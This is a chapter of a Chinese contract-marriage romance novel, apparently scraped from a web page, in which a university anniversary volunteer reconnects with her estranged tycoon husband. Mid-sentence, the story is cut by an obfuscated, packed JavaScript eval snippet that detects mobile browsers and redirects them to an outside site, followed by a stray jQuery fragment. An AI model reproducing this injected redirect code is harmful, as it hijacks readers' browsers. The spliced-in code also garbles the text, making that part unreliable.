1. 上岸
作品:《情丝》 正值春天,温度节节升高。
清大的一间办公室,俨然成了储物间。
地上堆着几大箱校庆的文创物品,三两包旗袍……
所有物资整齐堆放着。
杂乱交织的,是志愿者们讲电话的声音。
“喂,这边是清大外联组。”
董糯举着手机自报家门,通话时边听边记,字迹略显潦草,完全不似本人那般清新秀美。
她仔细叮嘱花农:
“预定的紫荆树苗是校树,总共999株,下个月校庆那天要提前送过来。”
花农:“可以,到时候辛苦你们志愿者帮忙把苗搬下车。”
董糯:“知道了。”
电话挂断,董糯接着联系校车队,还未接通,主管进了办公室,打断道:
“大伙儿注意,我一会儿发联络单,每人一张,干完了才能走,记住啊,今天必须联系到所有嘉宾!”
众人纷纷应声,董糯也暂停手头的其他任务。
众所周知,清大的百年校庆意义非凡。
届时会邀请诸多知名校友返校,有毕业于清大的政界大领导,还有毕业于清大的IT巨头……每一位都赫赫有名,却被表格隐去了姓名,为的是防止个人信息泄露。
董糯瞅着眼前的这张联络单,表头标注“chen”,意思就是这张表里的嘉宾全部姓“chen”,陈总、岑局,成教授……非富即贵。
国内的容易找,在国外的嘉宾有时差,她必须熬夜打电话才能联系得上。
时至午夜,办公室从喧闹慢慢变得寂静。其他志愿者陆续走了,只剩下董糯一个人,她的联络表里还剩下最后一位迟迟联系不上。
脑子困得快要关机,董糯泡了一杯咖啡续命,接着打电话。
手机里“嘟嘟”的等待音永远那么漫长。
窗外不知何时,起了夜风。
猝不及防的,最后一通电话终于接听。
董糯捏着笔,游刃有余地开腔:
“您好,chen先生!”
程鹭寻:?
他瞬间认出了女声,不过对方貌似没反应过来。
程鹭寻默然,不耐地听手机。
董糯:“我是清大校庆的外联组,想确认一下您是否方便出席活动?校庆是六月十八号举行,您有空吗?”
“在国外。”
宴会厅灯光如瀑,金发侍者单手托着圆盘,接过程鹭寻手中的酒杯,继续在一室鬓影衣香间穿梭。浮华声色,不过如此。
被拒之后董糯要按惯例,恳请:“那您可不可以录制一段VCR为母校献上祝福,学长?”
“不同校,不是你学长。”
语气冷漠疏离,他摞下一句:
“至于VCR等有空再说。”
“……哦,好吧。”
董糯手里的笔,无意识地在联络单上划了个大“X”,下一秒回过神,她赶忙擦掉。
从名单里重新找到他那行,画了个问号,表示待定。
“没事就挂了。”
男人隐晦暗沉的声音再次在手机里响起,董糯渐渐发觉,这人的口音带着点京腔。
隔着电流,音色还带着一丝清越。
董糯明眸浮动,有些茫然:
“你的声音听起来很耳熟。”
“为什么?”
程鹭寻直勾勾地问。
董糯却支支吾吾的。
“因为……”
因为让她想起了某个人。
她与那人结婚半年,仅见过两面。
一次是相亲,一次是领证。
然后他就出国了,她压根就没有对方手机号,印象中,他对待家里人还蛮瑞方平和,对外则一贯的雷厉风行。
她上一次得知这位塑料老公的消息,还是在财经版头条——
【“鹭”系估值破千亿,程氏集团批量打造上市企业】
董糯回过神,讪讪地继续讲电话:
“你的声音很像个‘熟人’。”
程鹭寻好似没听清,“谁?”
“老公。”
“嗯?”
程鹭寻挑了挑眉,莫名应了一声。
办公室里没有旁人,董糯扫了一眼,随口又说道:
“也不是真老公啦,很快会离。”
“……”
男人身处的晚宴刚刚开场,乐队悠然演奏着莫扎特《G小调第四十号交响曲》,光火昏芒中,他的侧脸深廓浓影,显得漫不经心。
这一通电话,是董糯熬夜干活的的最后一项,临近收工,精神也略略放松。
长笔夹在指尖,她闲闲地花式转笔,胡诌乱侃道:
“上岸第一剑,先斩意中人,这是考研上岸的常规操作了。我要离,他可能会有点不舍吧,苦苦哀求的话,我也许会心软一下下。可是理智地想想,一个普通人好像也不值得留恋,又不是程鹭寻那种又帅又有钱的男人,值得我去把他掏空。”
程鹭寻:???
不知是不是幻觉,当提到“苦苦哀求”的时候,男人似乎受到了点震撼,当提到“把他掏空”的时候,对方好像直接惊呆了。
而且董糯这边窗外的风,仿佛也比先前狂浪许多。
董糯又抿了口咖啡,收起那套胡说八道,言归正传:
“校庆的事,就麻烦您有空的话,记得录制一段VCR祝福语。”
程鹭寻这时突然换了种口吻:
“不用了,会亲自参加校庆。”
-
“欢迎欢迎!热烈欢迎!!!”
时间到了校庆当日。
机场门口,锣鼓喧天,志愿者们迎来大批校友,一群人有说有笑,在路边等校车。
同组的丁珍豆递来一套旗袍,是志愿者服装。
“喏,昨天弄错了你的尺码,今天主管帮你紧急调换了。”
“谢谢。”
董糯接过服装袋,与高跟鞋的袋子归拢在一起。
“主管还交待,去礼堂之前,要穿戴整齐。”
丁珍豆正说着话,注意力很快被萌娃吸引了去,跟着其他志愿者围上前。
“这是校友姐姐的小孩吧?宝宝叫什么名字……今年几岁啦……这么认真吃巧克力,都没空说话了呀!”
话音一落,小娃娃的巧克力“啪”的一声掉地上了,紧接着就是一顿心碎的哭声。
董糯和丁珍豆轮番抱起小孩又哄又逗,没搞定,丁珍豆转头就拜托董糯:
“商店有更好吃的巧克力,小姐姐马上去买,宝宝不哭不哭哦!”
董糯事不迟疑,立即跑去机场商店。
校庆这种活动,鸡毛蒜皮的琐事特别多,她都没空喘口气,买到巧克力就火速往回赶,也顾不上拭擦刚刚被小孩弄脏的衣摆。
可谁知,回来就差了几十秒,竟眼睁睁看着大巴满载一车人,开走了。
十分钟后,丁珍豆才迟迟接听董糯的电话。
“抱歉啊,人多事杂,把你给忘了。你打车回学校吧,不然肯定迟到了。”
董糯低哼:“行,回见。”
丁珍豆:“董同学咬牙坚持一下!校庆志愿者肯定是辛苦的,你就当是读研的热身赛好了。”
“……”
四月初,董糯刚考上研究生,入学前本该过得惬意,然后突然接到院长通知,要求全员硕士参加校庆志愿者,连研0也不例外……
董糯挂断电话,手机跳转到打车软件。
等了半天也没有司机接单,机场出租总是有客。
看着衣服上被小孩弄花的巧克力污渍,董糯眉心微蹙,摸出包里的卫生纸拭擦。
这时,一辆豪车靠过来,鸣笛声响起,她下意识抬头。
“董……董小姐?”
李敬銮从驾驶座走下来,惊讶地问好:
“我来接程总,你也是来接他的?”
董糯还未来得及应声,余光忽然瞥见机场门口走出一个既熟悉又陌生的身影,她背脊瞬间绷直。
程鹭寻微微皱着眉,工整精致的衬衫袖子被刷到手肘上,仿佛刚从国外的商业论坛上赶赴回来。
像是有感应般,程鹭寻不疾不徐走向李敬銮时,往她的方向随意扫了一眼。
半年未见,似乎没有什么大的变化,仍是那么耀眼夺目。
晨光洒在他的身上,晕染出金色轮廓,平添几分极强的压迫感,像极了高高在上、俯瞰众生的谪仙。
董糯惊愕得有些愣怔,只见程鹭寻徐徐走到了宾利驾驶座。
总裁助理李敬銮还停在董糯旁边,再次提起刚才的话:
“董小姐是来接程总的吧?请上车。”
董糯手掌抓着衣角,只觉窘迫。
“今天校庆,我是来接校友的。”
“校友人呢?”
程鹭寻颀长的身形微微倚靠车门,一双
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239406|166245||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如黑曜石般的眼睛睨着董糯。
“已经接走了。”
她说话低若蚊音。
程鹭寻似乎已经了解她的状况,嗓音淡漠。
“送你回去。”
“不用不用,我坐地铁就行。”
董糯说。
程鹭寻神色寡淡,扫了一眼她衣服上的巧克力手掌印。
“校庆十点钟开始,你来得及?”
说着话,他已经坐进车里,靠近她这边的车窗降下。
“上车。”
男人极淡的两个字,带着不容置喙的语气。
董糯颤了颤指尖儿,只能坐到车后座。
她特意把副驾驶留给李敬銮,没想到人压根没上车,程鹭寻已经启动。
于是乎,奢华车厢里气氛微妙。
他在前,她在后,他靠左,她靠右。
这样的座位距离,很好地缓解了假夫妻许久不见的尴尬。
徐徐晨风从车窗吹入,董糯的长发被吹过脸颊,悠悠荡荡地停留在嘴角。
她拢了拢头发,主动挑起话题:
“谢谢你送我,时间确实有点紧……对了,你是怎么知道校庆盛典十点开始的?”
程鹭寻:“……”
他透过中央后视镜,瞥了一眼后座。
“听爷爷说的。”
你考上清大,在忙校庆。
“哦,原来是程爷爷告诉的啊。我妈也真是的,考研这点事也要喜大普奔,相比之下,程爷爷手术成功才是大喜事,那个……程爷爷最近还好吧?”
“要回国了,你觉得还好吗?”
“……”
他这一反问,弄得董糯确实不太好了。
老爷子回国,势必举办家宴,需要“小两口”同框出席。
董糯公事公办地答:
“我们婚前签订的合约上规定了,如果有活动安排,你提前两天通知我就行。”
程鹭寻面色随意,“有这条?”
董糯:“……”
婚姻合约的条款明明是他敲定的,厚厚一大沓,看来只是为了制约她而已。
一路无话,车速也飞快,到达清大时,距离十点钟还早。
但一路上,丁珍豆和主管接连给董糯发微信,催了好几次:
志愿者必须提前一小时到场,绝对不能迟到!!!
从校门口到会场至少十分钟路,她还必须找洗手间换服装,赶到集合地点,肯定迟到了。
董糯望着程鹭寻的背影,虽然陌生,但毕竟是互帮互助互惠互利的关系。她直接开口:
“我能在你车上换衣服吗?”
程鹭寻怔了怔,想起她白T恤上的污渍。
“换吧。”
说着,他走下车,长腿迈了几步,背对着车,轻坐在引擎盖上。
车窗有防窥膜,董糯脱下白T恤,以最快的速度把乳贴换成胸衣,然后穿上校方要求的旗袍。
一分钟搞定。
董糯一边给手腕系上校庆丝带,一边踩着高跟鞋下车,健步如飞。
程鹭寻在晨光里微眯着眼睛,突然有些怀疑,董糯是不是真把他当成司机了。
十多秒后,马路对面的人儿挥挥手,头也不回。
“谢啦。”
程鹭寻半倚着引擎盖,闻声抬眸,看向远处。
视线中的她,换上了一条素雅旗袍。纤纤玉足下,是一双至少十公分的高跟鞋。
程鹭寻看了眼,颔首找到一串手机号码,拨过去。
或许是手机铃声已响,她倏然驻足,犹疑地接听电话,似乎在很努力地思索,这个陌生来电号码怎么有点眼熟。
“喂?”
“慢点跑。”
“?您哪位,什么事?”
“……”
程鹭寻敛起唇角弧度,淡淡地提醒:
“上岸第一剑,先斩意中人。”
短短十个字,仿佛瞬时唤醒了董糯的记忆。
震惊、讶异,懵逼……
微风吹拂,旗袍的裙摆微微凌乱。
她犹疑地回头。
看向远处的程鹭寻。
手机一片沉默。
校门口熙熙攘攘,时空却仿佛凝滞。
她与他,相隔着一条街。
耳边手机里传来他清清冷冷的声音。
“上岸第一件事,保存这个手机号,才能‘先斩意中人’。”